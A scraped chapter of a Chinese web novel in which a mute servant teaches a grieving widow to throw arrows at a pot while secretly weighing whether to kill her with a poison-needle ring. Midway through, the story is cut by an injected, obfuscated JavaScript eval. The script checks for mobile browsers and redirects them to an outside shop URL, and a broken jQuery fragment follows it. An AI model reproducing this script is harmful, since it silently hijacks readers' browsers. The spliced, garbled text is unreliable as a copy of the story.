文趣网 > 其他小说 > 供秋心 > 34.第三十四章 羽箭(一)
    距离端午清凉宴还余下七日的功夫,褚观棋能下床了。

    虽说当日在仟刑司中说好了只做样子,但背脊腰腿上的皮开肉绽也不是假的。

    此时正值盛夏,冰块都紧着主人家院子里使用,拨到仆从院子里的自然少些,褚观棋的伤口难以愈合,便又得了一场风热,一边出汗一边发烧。

    他也自往来的仆从口中得知了花荇出事的消息。

    褚观棋起先不大相信。

    花荇的武功他曾试过,虽说是极其传统的套路,花拳绣腿居多,模样漂亮却不见奇招,一旦真刀真枪地打起架来,缺乏应变,肯定吃亏。

    但是,花荇胜在底子不错,哪怕只拼蛮力,也没有那么轻易就会死。

    褚观棋不愿高兴得太早,默默琢磨,可能过两日就找着了。

    结果正如他所料。

    两日后,府外的确传来消息。

    不过,乃是郭织云派出去搜寻的人马返回复命,已将曜都城内城外翻了个底朝天,仍是不见花荇的踪影。

    ——他真的死了。

    尸体,也真的在南漳郡主的府上。

    ***

    少堰院外的空地上有株石榴,此时正是好时候,满树热闹。

    碧叶层叠如玉,越发衬得其中重瓣红灼如火,忽而被廊下投壶的声音惊动,在热风里簌簌颤动,落下几片红雨。

    闻裁月手中的羽箭抛了出去,却是连壶口的边都没挨上。

    她面无表情,又对顾盼伸手。

    顾盼赶紧双手送上一根新的羽箭,又小心说道:“女公子,我瞧这次好像比上次好了些呢。”

    闻裁月淡淡反问,“是么?可我根本没一次投进去的。”

    顾盼干笑两声,“下次准成,下次就投进去了。”

    褚观棋自一旁绕路而来,落足无声,在树后偏出脑袋,打量着廊下的女子。

    他好几日没见着她了。

    闻裁月一身素白衣衫,长发高盘作髻,只斜插了个素净的银钗,脸孔几乎要和衣衫连作同一片玉色。

    神色分明如常,却穿着一套要替夫君服丧的装扮。

    褚观棋忍不住冷笑。

    还好花荇已经死了,死得真是好。

    廊下的白衣女子转了转手中羽箭,看了好一会儿才伸手抛出,长袖飞扬。

    褚观棋的眼波便也跟着她手中的箭矢一同跃了出去。

    铮然一声轻响。

    这次果真准了一点儿,是砸在壶口边上摔出去的。

    顾盼跑着将那些散落的箭矢一一拾起,又抬头问她,“女公子还接着投吗?那边的桌上还有最后一支。”

    “……不投了。”

    失败了数次,闻裁月肉眼可见地低落下来,定定地看了那壶口片刻,正欲转身,身后却有一线疾风刮过,险险擦过她的肩头。

    一支羽箭稳稳落入壶口,分毫不差,撞出泠泠清吟。

    闻裁月转过身去,差点与走上前来的少年撞在一处。

    她下意识后退,眼睛在他身上打量,说道:“大夫说你还得静养上一段时日,怎么下床出来了?”

    褚观棋含笑歪了歪头,却是答非所问,用手比着道,“平日不见女公子顽耍这些,怎么突然要练习投壶了?”

    不同于他的面目。

    褚观棋的手已是成年男子该有的模样,骨节略宽,指甲圆润。

    上头仍有紫红的淤青未消。

    闻裁月看了那伤口片刻,半晌才低声答道:“再过几日便是清凉宴了,南漳郡主极擅投壶,肯定会比这个。我想要赢过她,赢得奖赏。”

    奖赏。

    花荇的尸首。

    一个死人,却要她耗费心思去争取。

    褚观棋有些犹豫,心中甚至希望干脆不要赢回,直接令那尸体被丢在乱葬岗,被什么蛆虫一类的东西啃干净才好。

    “……可惜。”

    闻裁月叹了一声,“我没什么天赋,只得想其他法子了。”

    她说着抬头,留意到他额发间薄薄的汗意,便道:“很热罢?厨房刚刚里煮了绿豆汤,可以喝。”

    褚观棋摇摇头。

    闻裁月道,“消暑的。”

    他原本不喜绿豆的味道,但又舍不得她的体贴疼惜,便点头答应了。

    闻裁月满意了,这才又去摩挲着手中的羽箭,有些苦恼。

    褚观棋的眼睛默然落在她手腕上,又慢慢地回到她的肩头。

    他继续向上,凝视着闻裁月白玉似的脖颈。

    一旦与她亲热地拥抱过,再回到可望而不可即的距离,就是折磨。

    如果病着、伤着就能得到她的温言细语。

    褚观棋几乎希望自己能永久伤病下去。

    他到底是舍不得闻裁月如此沮丧的,心底分明恶意横生,满是嫉恨,却又笑着比道:“……我来帮女公子,也许你就会了。”

    她会高兴吗?

    他不愿闻裁月再因为有关花荇的事而高兴,却又眼见着她面色稍霁,好奇地瞧着他,“你还会这个吗?”

    她还以为他方才那一招是凑巧抛进去的。

    褚观棋比道:“从前在市集上跟人卖艺,这些都只是寻常的小把戏而已。”

    闻裁月皱起眉,“你从前究竟是做什么的?”

    褚观棋与她玩笑着比划:“走街串巷,四处奔波,什么赚钱做什么。”

    实则是刀口舔血,杀人越货,什么缺德做什么。

    闻裁月略点了下头,若有所思的样子。

    片刻后,她才将话题重新引回投壶上:“其中可有什么诀窍?”

    恰逢此时顾盼拾取了所有的羽箭回来,褚观棋便又取过一支,瞥了一眼院中正红火的石榴树,手腕猛然一甩。

    箭矢霎时破开空气。

    风声划过,“嗡”地射出,终止于一声闷响。

    闻裁月循声看去,见那羽箭虽不是拉弓射出,却带着同样的力道,瞬间击落更多红花,稳稳插在了院墙的砖缝之间。

    赤雨簌簌。

    顾盼吃惊地瞪大了眼睛,替闻裁月高兴:“真厉害呀!女公子,实在不成,叫这小哑巴去帮你投也行呀,到时候花执——”

    她忽而住了嘴。

    纵是赢了有什么好高兴的呢?

    哪怕将清凉宴上所有的比赛都赢过一遍,能带回的,也不过是一具冷冰冰的尸首罢了。

    闻裁月一言不发,顾盼也知晓自己说错了话,不再开口。

    直到那少年递来一根羽箭。

    “只要,将要投掷的东西,当作自己的仇人。”

    褚观棋仿佛全然没有留意她们说了什么,用左手比了两下,又把羽箭朝闻裁月面前递了递,比道:“仇敌当前,一生一次的机会,拼死也会努力打准的。”

    他不会说,方才他已在脑中将花荇杀死过一次。

    羽箭穿透颅脑,血浆如红花,遍地泼洒。

    闻裁月沉默地瞅着他。

    他等了片刻,见闻裁月没有动作,便僭越地握住她的皓腕,羽箭置于掌心,又慢慢合拢了起来。

    闻裁月垂眸,正欲攥紧羽箭,握住她的那只手忽而变了个模样。

    她有片刻的僵硬。

    身前的人仿佛变成花荇,开口叫她的名字:“……小月。”

    时光骤然在闻裁月合拢的手指中被筛落。

    万物倒转,她与花荇带着抱香,一同在院子里放风筝、荡秋千,投壶。

    她也如此刻一样投不进去,反而将羽箭抛得满院子乱飞。

    花荇只得去捡。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780589|207738||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    抱香才四岁大,却已知道要捉弄花荇,趁着他去捡羽箭时用小石子偷偷丢过去,嘴上含糊地骂:“讨厌鬼,讨厌鬼。”

    花荇笑开了,扬声问,“我怎么就讨厌了啊?”

    这一瞬,闻裁月手上握着的不再是羽箭,而是胖得好似个莲藕娃娃的抱香,她抱着妹妹,将下巴放在她毛茸茸的小脑袋上。

    她面上浮出恍惚的哀切来。

    褚观棋多看了闻裁月两眼,立刻知道她是又想起了那具死尸。

    还是对着自己的脸。

    分明他二人分毫不像,那是为何呢?是过去她与花荇一起射箭、投壶,还是在院子里亲近,做了什么其他的事?

    褚观棋连想象都不知从何想起。

    他心间仍存傲气与不服,自是恼恨,非要拉回她的注意不可,便直接托起她的手肘,迫使闻裁月将箭矢对准远处的铜壶。

    “两根手指捏住这里。”

    褚观棋左手按住她僵硬的手指,右手则划出一道弧线。

    “心无旁骛,目光专注。失之毫厘,差之千里。”

    清凉宴在宫中庭院操办,铜壶距离投掷的地方约莫七尺有余,更要考虑当日的风向,只会比此刻更加困难。

    闻裁月抬手一丢。

    箭矢再度偏离,落在距离铜壶几寸远的地方。

    闻裁月心神不宁,后心上微微有了些汗意,低声说:“我要想其他法子,不学这个了。”

    “再一次。”

    褚观棋又抽出一根羽箭,绕至她身后,扶着她,教她学会找到正确的轨迹和力道。

    闻裁月几乎被他搂住了,自然不大想接,褚观棋却似乎起了一定要她投入的心思,在她脸侧低垂下头,右手握拳,上头套着的铁环碰了碰羽箭头,意在提醒。

    闻裁月抿了抿嘴,“……好,再投一次。”

    褚观棋在她耳边以气音“嗯”了一声,右手仍在转动着食指上的铁环。

    那铁环中暗□□针,只需略微一勾一转就会弹出。

    手背也好、脖颈也罢,只要被毒针蹭破了皮,一个时辰内必死无疑。

    闻裁月既然如此想念花荇,他也不必再继续与仲孙慎之周旋,完事交差,对彼此都好。

    发丝垂落,两人的脸颊更是几乎贴在一起。

    褚观棋将她的手臂轻微挪动了一点点。

    距离太近,闻裁月看不见他脸上的恶意,只能闻到他身上未干的血腥气和药味。

    褚观棋飞快地比了个动作,问她,“女公子,不敢玩了吗?”

    他只把这件事当成游戏。

    顾盼道,“喂,小哑巴,你离女公子太近了,站远些。”

    褚观棋纹丝不动,反而是闻裁月反应过来,立刻将羽箭甩手抛出,身子同时朝旁边一让。

    属于她的温度和馨香又是转瞬即逝。

    羽箭在壶口边险险蹭了下,以一个刁钻的角度,滑落铜壶当中。

    闻裁月一愣,下意识地看向褚观棋,露出了这些时日来第一个笑,“你瞧,真的投进了。”

    她原以为褚观棋的眼睛会率先落在铜壶那边,却发现他始终只看着自己。

    闻裁月又笑着说了一遍,“看见了么?我投进了。”

    褚观棋猛然捏住手中剧毒的指环,攥进掌心。

    廊下阴影将他的面孔一破为二。

    这张面孔分明如此稚嫩可亲,那双眼睛却淡静,一如活潭冷玉,亦或者是自野猫或甚么动物一类的东西上抠出来,硬放在了他的脸上。

    总归不像常人的眼睛。

    褚观棋眼眸半阖,冷冷瞥向铜壶,这才笑了。

    “女公子真厉害。”

    方才的一切如同幻觉,他又恢复成了平日里笑嘻嘻的样子,比划道:“一点就通,百发百中。”